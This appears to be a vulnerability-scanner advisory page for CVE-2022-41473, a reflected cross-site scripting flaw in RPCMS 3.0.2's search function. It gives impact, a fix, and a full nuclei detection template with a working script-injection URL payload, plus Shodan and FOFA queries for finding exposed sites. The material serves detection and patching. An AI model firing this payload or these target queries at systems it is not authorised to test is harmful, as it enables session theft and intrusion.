RPCMS 3.0.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the website.

Fix

Apply the latest security patch or upgrade to a newer version of RPCMS to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>" and "rpcms" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-41473 -u <target>

The full check

id: CVE-2022-41473

info:
  name: RPCMS 3.0.2 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of RPCMS to mitigate the XSS vulnerability.
  reference:
    - https://github.com/ralap-z/rpcms/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41473
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-41473
    cwe-id: CWE-79
    epss-score: 0.01375
    epss-percentile: 0.72254
    cpe: cpe:2.3:a:rpcms:rpcms:3.0.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rpcms
    product: rpcms
    shodan-query:
      - http.html:"RPCMS"
      - http.html:"rpcms"
    fofa-query: body="rpcms"
  tags: cve,cve2022,rpcms,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'rpcms'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from